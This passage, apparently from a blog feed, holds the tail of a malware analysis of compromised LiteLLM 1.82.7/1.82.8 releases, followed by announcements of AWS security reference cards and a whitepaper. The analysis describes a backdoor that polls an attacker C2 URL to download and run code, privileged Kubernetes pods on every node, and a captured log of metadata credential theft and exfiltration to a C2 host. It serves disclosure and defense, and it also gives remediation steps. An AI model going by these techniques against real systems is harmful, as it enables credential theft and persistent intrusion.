&lt;em&gt;Screenshot: Decoded payload showing the AES encryption and curl exfiltration code&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Stage 3: Kubernetes lateral movement
&lt;/h4&gt;

&lt;p&gt;If the script detects a Kubernetes service account token, it escalates massively:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Read all secrets across all namespaces&lt;/li&gt;
&lt;li&gt;For every node in the cluster, create a privileged pod:

&lt;ul&gt;
&lt;li&gt;Named &lt;code&gt;node-setup-NODE_NAME&lt;/code&gt; in &lt;code&gt;kube-system&lt;/code&gt; namespace&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;hostPID: true&lt;/code&gt;, &lt;code&gt;hostNetwork: true&lt;/code&gt;, &lt;code&gt;privileged: true&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Mounts the entire host filesystem at &lt;code&gt;/host&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Tolerates all taints (runs on every node, including control plane)&lt;/li&gt;
&lt;li&gt;Installs the persistence backdoor on each node via chroot&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;One compromised pip install on a developer laptop can lead to every node in the Kubernetes cluster being backdoored.&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Stage 4: Persistence
&lt;/h4&gt;

&lt;p&gt;The malware installs a backdoor that survives &lt;code&gt;pip uninstall&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;~/.config/sysmon/sysmon.py&lt;/code&gt;: a 44 line Python script&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;~/.config/systemd/user/sysmon.service&lt;/code&gt;: a systemd service that auto starts it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The name "sysmon" is deliberately chosen, it mimics Microsoft's legitimate system monitoring tool. The script:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Waits 5 minutes before doing anything (sandbox evasion)&lt;/li&gt;
&lt;li&gt;Polls &lt;code&gt;https://checkmarx.zone/raw&lt;/code&gt; (the attacker's C2 server) every 50 minutes for new payloads&lt;/li&gt;
&lt;li&gt;Downloads and executes whatever the C2 server provides&lt;/li&gt;
&lt;li&gt;Has a kill switch: if the C2 returns a YouTube URL, it skips execution&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After this step, even &lt;code&gt;pip uninstall litellm&lt;/code&gt; doesn't help. The backdoor lives outside pip's control.&lt;/p&gt;
&lt;h3&gt;
  
  
  The two versions: why 1.82.8 was worse
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;v1.82.7&lt;/th&gt;
&lt;th&gt;v1.82.8&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Injection in proxy_server.py&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.pth file&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Triggers when&lt;/td&gt;
&lt;td&gt;You import litellm.proxy&lt;/td&gt;
&lt;td&gt;Any Python command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Must use litellm?&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No, just having it installed is enough&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Version 1.82.7 was targeted, it only fires if you actually use the proxy module. Version 1.82.8 was a carpet bomb, every Python invocation triggers it.&lt;/p&gt;
&lt;h3&gt;
  
  
  The mitmproxy capture: seeing the attack in real-time
&lt;/h3&gt;

&lt;p&gt;We set up a lab with mitmproxy intercepting all HTTPS traffic from the malware. Here is what we captured:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. GET 169.254.169.254/.../security-credentials/ -&amp;gt; Steal IAM role
2. PUT 169.254.169.254/latest/api/token -&amp;gt; Get IMDSv2 token
3. CONNECT secretsmanager.us-east-1.amazonaws.com -&amp;gt; Dump Secrets Manager
4. CONNECT ssm.us-east-1.amazonaws.com -&amp;gt; Dump SSM Parameters
5. CONNECT models.litellm.cloud:443 -&amp;gt; Exfiltrate to C2
6. GET 169.254.170.2 -&amp;gt; Steal ECS credentials
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AMxilErx1BlPGstR3v8AIiA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AMxilErx1BlPGstR3v8AIiA.png" width="800" height="489"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: mitmproxy capturing all malicious traffic — IMDS queries, AWS API calls, C2 exfiltration&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The malware tried to reach 5 different endpoints. On a real EC2 instance with an IAM role and real AWS credentials, steps 1–4 would have succeeded silently dumping every secret in Secrets Manager and SSM Parameter Store.&lt;/p&gt;

&lt;h3&gt;
  
  
  Discovery and response
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;12:00 UTC&lt;/strong&gt; : Callum McMahon at FutureSearch notices his machine running out of RAM.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;13:48 UTC&lt;/strong&gt; : Security issue disclosed on GitHub.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;15:00 UTC&lt;/strong&gt; : PyPI yanks versions 1.82.7 and 1.82.8.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;16:00 UTC&lt;/strong&gt; : PyPI quarantines the entire litellm package.&lt;/p&gt;

&lt;p&gt;The attack window was approximately &lt;strong&gt;6.5 hours&lt;/strong&gt;. During that time, anyone who ran &lt;code&gt;pip install litellm&lt;/code&gt; or &lt;code&gt;pip install --upgrade litellm&lt;/code&gt; received the compromised version.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why it worked
&lt;/h3&gt;

&lt;p&gt;Several factors aligned:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Unpinned dependency in CI/CD&lt;/strong&gt; : LiteLLM installed Trivy via &lt;code&gt;curl | sh&lt;/code&gt; without version pinning, inheriting Trivy's compromise.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PyPI token in CI environment&lt;/strong&gt; : The publishing credentials were accessible to the CI job that ran Trivy. Principle of least privilege was not applied.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No release verification&lt;/strong&gt; : PyPI does not verify that a published version has a corresponding Git tag. Anyone with the token can upload anything.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The .pth mechanism&lt;/strong&gt; : A 22 year old Python feature that auto executes code on startup. No CVE. No bug. Just a feature that enables silent code execution.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LiteLLM's role as a key gateway&lt;/strong&gt; : The package, by design, has access to every LLM API key. Compromising it yields maximum credential harvest.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  What you should do right now
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;If you installed litellm 1.82.7 or 1.82.8:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Run &lt;code&gt;pip show litellm&lt;/code&gt; to check your version&lt;/li&gt;
&lt;li&gt;Search for &lt;code&gt;litellm_init.pth&lt;/code&gt; in your Python site-packages&lt;/li&gt;
&lt;li&gt;Check for &lt;code&gt;~/.config/sysmon/sysmon.py&lt;/code&gt; on any affected machine&lt;/li&gt;
&lt;li&gt;Check for pods named &lt;code&gt;node-setup-*&lt;/code&gt; in your Kubernetes clusters&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate every credential&lt;/strong&gt; on any affected system: SSH keys, AWS keys, K8s configs, API tokens, database passwords, everything&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;For everyone:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Pin your dependencies. Every one. Including tools fetched via &lt;code&gt;curl | sh&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Scope your CI/CD secrets. Publishing tokens should only be accessible to dedicated publishing jobs.&lt;/li&gt;
&lt;li&gt;Use PyPI Trusted Publishers (OIDC-based publishing from GitHub Actions, no static tokens to steal).&lt;/li&gt;
&lt;li&gt;Periodically scan &lt;code&gt;site-packages/&lt;/code&gt; for &lt;code&gt;.pth&lt;/code&gt; files containing executable code.&lt;/li&gt;
&lt;li&gt;Check that your PyPI dependencies have matching GitHub tags.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Going deeper
&lt;/h3&gt;

&lt;p&gt;In &lt;a href="https://medium.com/@tarekcheikh/we-detonated-the-real-litellm-malware-on-ec2-heres-what-happened-e937c77c26b7" rel="noopener noreferrer"&gt;Part 2&lt;/a&gt;, we detonate the real compromised package on an isolated EC2 instance and capture every stage of the attack with mitmproxy, strace, and inotifywait. We see the fork bomb in real-time, watch the credential harvester read our honeypot files, and intercept the exfiltration attempt.&lt;/p&gt;

&lt;p&gt;Full analysis repo with malware samples, lab scripts, and evidence: &lt;a href="https://github.com/TocConsulting/litellm-supply-chain-attack-analysis" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/litellm-supply-chain-attack-analysis&lt;/a&gt;&lt;/p&gt;




</description>
      <category>malwareanalysis</category>
      <category>aws</category>
      <category>cybersecurity</category>
      <category>cloudcomputing</category>
    </item>
    <item>
      <title>AWS Security Cards: Free Offensive Security Reference for 60 AWS Services</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Tue, 17 Mar 2026 01:40:16 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/aws-security-cards-free-offensive-security-reference-for-60-aws-services-59n1</link>
      <guid>https://dev.to/tarekcheikh/aws-security-cards-free-offensive-security-reference-for-60-aws-services-59n1</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9hzw3bonttyx85qeryf3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9hzw3bonttyx85qeryf3.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;AWS documentation tells you how services work. It doesn’t tell you how they break.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/TocConsulting/aws-security-cards" rel="noopener noreferrer"&gt;&lt;strong&gt;AWS Security Cards&lt;/strong&gt;&lt;/a&gt;: fills that gap. It’s a free, open-source set of security reference cards: one per AWS service, &lt;strong&gt;60 total&lt;/strong&gt; , covering attack vectors, misconfigurations, enumeration commands, privilege escalation, persistence, detection, and defense. Available in Markdown, HTML, and PDF.&lt;/p&gt;

&lt;h3&gt;
  
  
  What’s in a card
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmdms4k8t9nwljymmfm36.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmdms4k8t9nwljymmfm36.png" width="800" height="641"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Each card covers a single AWS service from an offensive and defensive security perspective:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Service overview:&lt;/strong&gt; with attacker-relevant context
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attack vectors:&lt;/strong&gt; concrete exploitation paths, not vague risk statements
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Common misconfigurations:&lt;/strong&gt; what actually leads to breaches
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enumeration commands:&lt;/strong&gt; copy-paste AWS CLI for security assessments
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privilege escalation:&lt;/strong&gt; how read access becomes admin
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Persistence techniques:&lt;/strong&gt; how access survives incident response
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Detection indicators:&lt;/strong&gt; what shows up in CloudTrail and monitoring
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Policy examples:&lt;/strong&gt; good vs. bad IAM/resource policies, side by side
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Defense recommendations:&lt;/strong&gt; hardening commands you can run today
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Risk score:&lt;/strong&gt; from 5.5 to 9.5, to help prioritize&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Risk scores across the board
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| Risk | Services |
|---------|--------------------------------------------------------------------------------------------------------------------------|
| 9.5 | IAM, STS, Organizations, Secrets Manager, Identity Center |
| 9.0–9.2 | Redshift, EC2, S3, EKS, RDS, CodeBuild, CloudFormation, Route 53, Backup, Glue, Directory Service |
| 8.5 | CloudTrail, API Gateway, ECR, ECS, OpenSearch, Systems Manager, SageMaker, Step Functions, Security Hub, Transit Gateway |
| 7.0–8.0 | DynamoDB, Cognito, KMS, EBS, AppSync, Athena, EventBridge, RAM, VPC, GuardDuty, and more |
| &amp;lt; 7.0 | App Runner, SQS, ELB, SNS, Amplify, Inspector, ACM, Network Firewall, WAF |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Some of these might surprise you. AWS Backup at 9.0, higher than Lambda. An attacker who gets into Backup can delete every recovery point in your account. Ransomware with no recovery path. CodeBuild at 9.0, one malicious buildspec exfiltrates every secret and poisons every artifact downstream.&lt;/p&gt;

&lt;h3&gt;
  
  
  A few things worth knowing
&lt;/h3&gt;

&lt;p&gt;There are 20+ known privilege escalation paths through IAM alone. &lt;code&gt;**_CreatePolicyVersion_**&lt;/code&gt;, &lt;code&gt;**_PassRole_**&lt;/code&gt;, &lt;code&gt;**_UpdateAssumeRolePolicy_**&lt;/code&gt;, &lt;code&gt;**_AttachUserPolicy_**&lt;/code&gt;. Most AWS accounts have at least one of these unguarded.&lt;/p&gt;

&lt;p&gt;Many persistence techniques don’t produce obvious CloudTrail signals. A Lambda layer with a backdoor, an ECR image with a modified entrypoint, a trust policy added to a role. Standard alerting won’t catch these unless you’re specifically looking.&lt;/p&gt;

&lt;p&gt;CI/CD is the new perimeter. ECR, CodeBuild, and CodePipeline are supply chain components. Compromise one, and everything that deploys through it is tainted.&lt;/p&gt;

&lt;h3&gt;
  
  
  Formats
&lt;/h3&gt;

&lt;p&gt;Each card ships in three formats, all generated from the same source:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Markdown&lt;/strong&gt; : readable on GitHub, easy to search and contribute to
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTML:&lt;/strong&gt; standalone dark-themed pages, works offline in any browser
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PDF:&lt;/strong&gt; print-ready, with embedded images and AWS service icons&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Use cases
&lt;/h3&gt;

&lt;p&gt;Print the PDFs for your next pentest. Use the enumeration commands during a security assessment. Hand the defense recommendations to your engineering team after an audit. Use the policy examples in a training session. Search the Markdown files when you need to quickly check a specific service.&lt;/p&gt;

&lt;h3&gt;
  
  
  Contribute
&lt;/h3&gt;

&lt;p&gt;MIT licensed. If something is wrong or missing, open a PR.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GitHub&lt;/strong&gt; : &lt;a href="https://github.com/TocConsulting/aws-security-cards" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/aws-security-cards&lt;/a&gt;&lt;/p&gt;




</description>
      <category>cloudsecurity</category>
      <category>offensivesecurity</category>
      <category>aws</category>
      <category>awssecurity</category>
    </item>
    <item>
      <title>AWS Security Cards: 54 Services, One Card Each</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Sun, 08 Mar 2026 22:44:54 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/aws-security-cards-54-services-one-card-each-3998</link>
      <guid>https://dev.to/tarekcheikh/aws-security-cards-54-services-one-card-each-3998</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwdc6o5s00qb4mntxclt5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwdc6o5s00qb4mntxclt5.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You’re reviewing an AWS account. You need to check Lambda security. What are the attack vectors? What misconfigurations should you look for? What CLI commands give you the full picture?&lt;/p&gt;

&lt;p&gt;You open AWS docs. Then a blog post. Then another one from 2022 that may or may not still apply. Then Stack Overflow. Four tabs later you have half the answer.&lt;/p&gt;

&lt;p&gt;Multiply that by 54 services.&lt;/p&gt;

&lt;p&gt;I put everything in one place.&lt;/p&gt;

&lt;h3&gt;
  
  
  What’s a security card?
&lt;/h3&gt;

&lt;p&gt;One page per AWS service. Each card has six sections:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Attack vectors:&lt;/strong&gt; how the service gets compromised in practice
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Misconfigurations:&lt;/strong&gt; the stuff that keeps showing up in audits
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enumeration commands:&lt;/strong&gt; &lt;code&gt;**_aws cli_**&lt;/code&gt; commands, copy-paste ready
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privilege escalation:&lt;/strong&gt; how initial access turns into something worse
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Persistence:&lt;/strong&gt; how attackers stay in
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Detection indicators:&lt;/strong&gt; CloudTrail events and GuardDuty findings to watch&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Plus a risk score, good vs. bad policy examples side by side, and defense recommendations.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://tocconsulting.fr/security-cards" rel="noopener noreferrer"&gt;tocconsulting.fr/security-cards&lt;/a&gt;. No signup. No email. Just open it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example: S3
&lt;/h3&gt;

&lt;p&gt;Open the S3 card. You get:&lt;/p&gt;

&lt;p&gt;Attack vectors: bucket policy manipulation, cross-account access abuse, SSE-C ransom (yes, that’s a thing now).&lt;/p&gt;

&lt;p&gt;Misconfigurations: &lt;code&gt;**_BlockPublicAccess_**&lt;/code&gt; off is the obvious one. But also wildcard principals in bucket policies, missing encryption enforcement, no access logging.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CLI commands&lt;/strong&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3api get-bucket-policy &lt;span class="nt"&gt;--bucket&lt;/span&gt; my-bucket
aws s3api get-public-access-block &lt;span class="nt"&gt;--bucket&lt;/span&gt; my-bucket
aws s3api get-bucket-acl &lt;span class="nt"&gt;--bucket&lt;/span&gt; my-bucket
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Detection: CloudTrail management events like &lt;em&gt;PutBucketPolicy&lt;/em&gt;, &lt;em&gt;DeleteBucketPolicy&lt;/em&gt;, and &lt;em&gt;PutBucketEncryption&lt;/em&gt; are logged by default. &lt;strong&gt;Enable S3 data events&lt;/strong&gt; to catch object-level activity like &lt;strong&gt;&lt;em&gt;GetObject&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;PutObject&lt;/em&gt;&lt;/strong&gt;. Copy both into your alerting rules.&lt;/p&gt;

&lt;p&gt;Same structure for all 54 services.&lt;/p&gt;

&lt;h3&gt;
  
  
  What’s covered
&lt;/h3&gt;

&lt;p&gt;9 categories:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| Category | Services |
|---------------------|-------------------------------------------------------------------------------------------|
| Identity &amp;amp; Security | IAM, KMS, Secrets Manager, STS, Cognito, ACM, Directory Service, Organizations, GuardDuty |
| Compute | EC2, Lambda, ECS, EKS, Batch, CodeBuild, App Runner, Amplify |
| Storage | S3, EBS, EFS, Backup |
| Database | RDS, DynamoDB, ElastiCache, OpenSearch, Redshift, MemoryDB |
| Networking | VPC, ELB, CloudFront, API Gateway, Route 53, AppSync, Network Firewall, WAF |
| Analytics | Glue, Athena, Kinesis, MSK, Lake Formation |
| Integration | SNS, SQS, EventBridge, Step Functions, Transfer Family, DataSync |
| Monitoring | CloudTrail, CloudWatch, Inspector, Config, SSM |
| AI/ML | SageMaker, Bedrock |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The usual suspects, but also the ones nobody audits: Transfer Family, Lake Formation, AppSync, MemoryDB. Until someone exploits them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Numbers
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;54 services&lt;/li&gt;
&lt;li&gt;500+ attack vectors&lt;/li&gt;
&lt;li&gt;300+ CLI commands&lt;/li&gt;
&lt;li&gt;200+ detection indicators&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Use it however you want
&lt;/h3&gt;

&lt;p&gt;As an audit checklist. As a pentest reference. As a pre-deployment review. Print the detection indicators and pin them next to your SIEM. Whatever works.&lt;/p&gt;

&lt;h3&gt;
  
  
  Goes with the whitepaper
&lt;/h3&gt;

&lt;p&gt;I also wrote a whitepaper covering AWS security strategy for 2026, IAM, Zero Trust, agentic AI threats, compliance mapping. The cards give you per-service details. The whitepaper gives you the big picture.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://tocconsulting.fr/whitepaper" rel="noopener noreferrer"&gt;tocconsulting.fr/whitepaper&lt;/a&gt;. Also free. Also no gate.&lt;/p&gt;

&lt;h3&gt;
  
  
  Links
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Security Cards: &lt;a href="https://tocconsulting.fr/security-cards" rel="noopener noreferrer"&gt;https://tocconsulting.fr/security-cards&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Whitepaper: &lt;a href="https://tocconsulting.fr/whitepaper" rel="noopener noreferrer"&gt;https://tocconsulting.fr/whitepaper&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




</description>
      <category>aws</category>
      <category>awssecurity</category>
      <category>security</category>
      <category>cloudsecurity</category>
    </item>
    <item>
      <title>The State of AWS Security 2026: Free Whitepaper, No Gate</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Sun, 08 Mar 2026 22:27:05 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/the-state-of-aws-security-2026-free-whitepaper-no-gate-dic</link>
      <guid>https://dev.to/tarekcheikh/the-state-of-aws-security-2026-free-whitepaper-no-gate-dic</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftrlwotg0569ds20823f4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftrlwotg0569ds20823f4.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Most AWS security content falls into two buckets.&lt;/p&gt;

&lt;p&gt;Bucket one: “Enable MFA. Use least privilege. Encrypt at rest.” Thanks. Very helpful.&lt;/p&gt;

&lt;p&gt;Bucket two: 80-page PDF from a consulting firm. 75 pages of filler. 5 pages of actual controls. Behind an email wall. Sales call follows.&lt;/p&gt;

&lt;p&gt;Neither is useful when you need to actually secure an AWS environment on Monday morning.&lt;/p&gt;

&lt;p&gt;I wrote something in between. Practical. Deployable.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://tocconsulting.fr/whitepaper" rel="noopener noreferrer"&gt;tocconsulting.fr/whitepaper&lt;/a&gt;. Free PDF. No email. No signup.&lt;/p&gt;

&lt;h3&gt;
  
  
  What’s in it
&lt;/h3&gt;

&lt;p&gt;8 chapters. 50+ security controls. 4 architecture diagrams. 14 “What Goes Wrong in Practice” sections from real audit experience.&lt;/p&gt;

&lt;h4&gt;
  
  
  Chapter 1: Threat Landscape
&lt;/h4&gt;

&lt;p&gt;What attackers are actually doing in 2026. Capital One (SSRF + IAM misconfiguration). Codefinger (ransomware using S3 SSE-C encryption: AWS’s own feature). Sysdig’s report on AI-assisted intrusion. Supply chain attacks through abandoned S3 buckets.&lt;/p&gt;

&lt;p&gt;Not to scare anyone. To show what was misconfigured and what would have stopped it.&lt;/p&gt;

&lt;h4&gt;
  
  
  Chapter 2: IAM
&lt;/h4&gt;

&lt;p&gt;The longest chapter. Least privilege that works in practice. SCPs. Permission boundaries. Assume-role chains. Identity federation.&lt;/p&gt;

&lt;h4&gt;
  
  
  Chapter 3: Data Protection
&lt;/h4&gt;

&lt;p&gt;S3 hardening. KMS encryption, SSE-S3 vs SSE-KMS, when each matters. Macie for data classification. Bucket policies that actually do what you think they do.&lt;/p&gt;

&lt;h4&gt;
  
  
  Chapter 4: Network Security
&lt;/h4&gt;

&lt;p&gt;VPC design. Security groups vs NACLs. Zero Trust with architecture diagrams, not just the buzzword. WAF rules.&lt;/p&gt;

&lt;h4&gt;
  
  
  Chapter 5: Detection
&lt;/h4&gt;

&lt;p&gt;CloudTrail + GuardDuty + Security Hub as a pipeline. What events to alert on. What to ignore. Custom rules for the gaps the managed services miss.&lt;/p&gt;

&lt;h4&gt;
  
  
  Chapter 6: Agentic AI
&lt;/h4&gt;

&lt;p&gt;Everyone’s deploying Bedrock agents. Almost nobody is securing them.&lt;/p&gt;

&lt;p&gt;Prompt injection in production. Tool-use boundaries. AI-specific IAM: what happens when your agent has an over-permissioned role (same thing as any over-permissioned identity, except the attack surface now includes natural language).&lt;/p&gt;

&lt;h4&gt;
  
  
  Chapter 7: Compliance
&lt;/h4&gt;

&lt;p&gt;CIS, SOC 2, ISO 27001: mapped to specific AWS controls and Config rules. What auditors ask. How to have the answer ready.&lt;/p&gt;

&lt;h4&gt;
  
  
  Chapter 8: Action Plan
&lt;/h4&gt;

&lt;p&gt;What to fix this week. What to fix this month. What to fix this quarter. Prioritized.&lt;/p&gt;

&lt;h3&gt;
  
  
  Quick overview
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| | |
|---------------------------|-----------------------|
| Chapters | 8 |
| Security controls | 50+ |
| Architecture diagrams | 4 |
| Real-world case studies | 14 |
| Price | Free |
| Email required | No |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Companion resource
&lt;/h3&gt;

&lt;p&gt;I also published 54 AWS Security Cards: one per service, with attack vectors, misconfigurations, CLI commands, and detection indicators. The whitepaper is the strategy. The cards are the per-service reference.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://tocconsulting.fr/security-cards" rel="noopener noreferrer"&gt;tocconsulting.fr/security-cards&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Links
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Whitepaper: &lt;a href="https://tocconsulting.fr/whitepaper" rel="noopener noreferrer"&gt;https://tocconsulting.fr/whitepaper&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Security Cards: &lt;a href="https://tocconsulting.fr/security-cards" rel="noopener noreferrer"&gt;https://tocconsulting.fr/security-cards&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




</description>
      <category>agenticai</category>
      <category>cloudsecurity</category>
      <category>informationsecurity</category>
      <category>books</category>
    </item>
    <item>
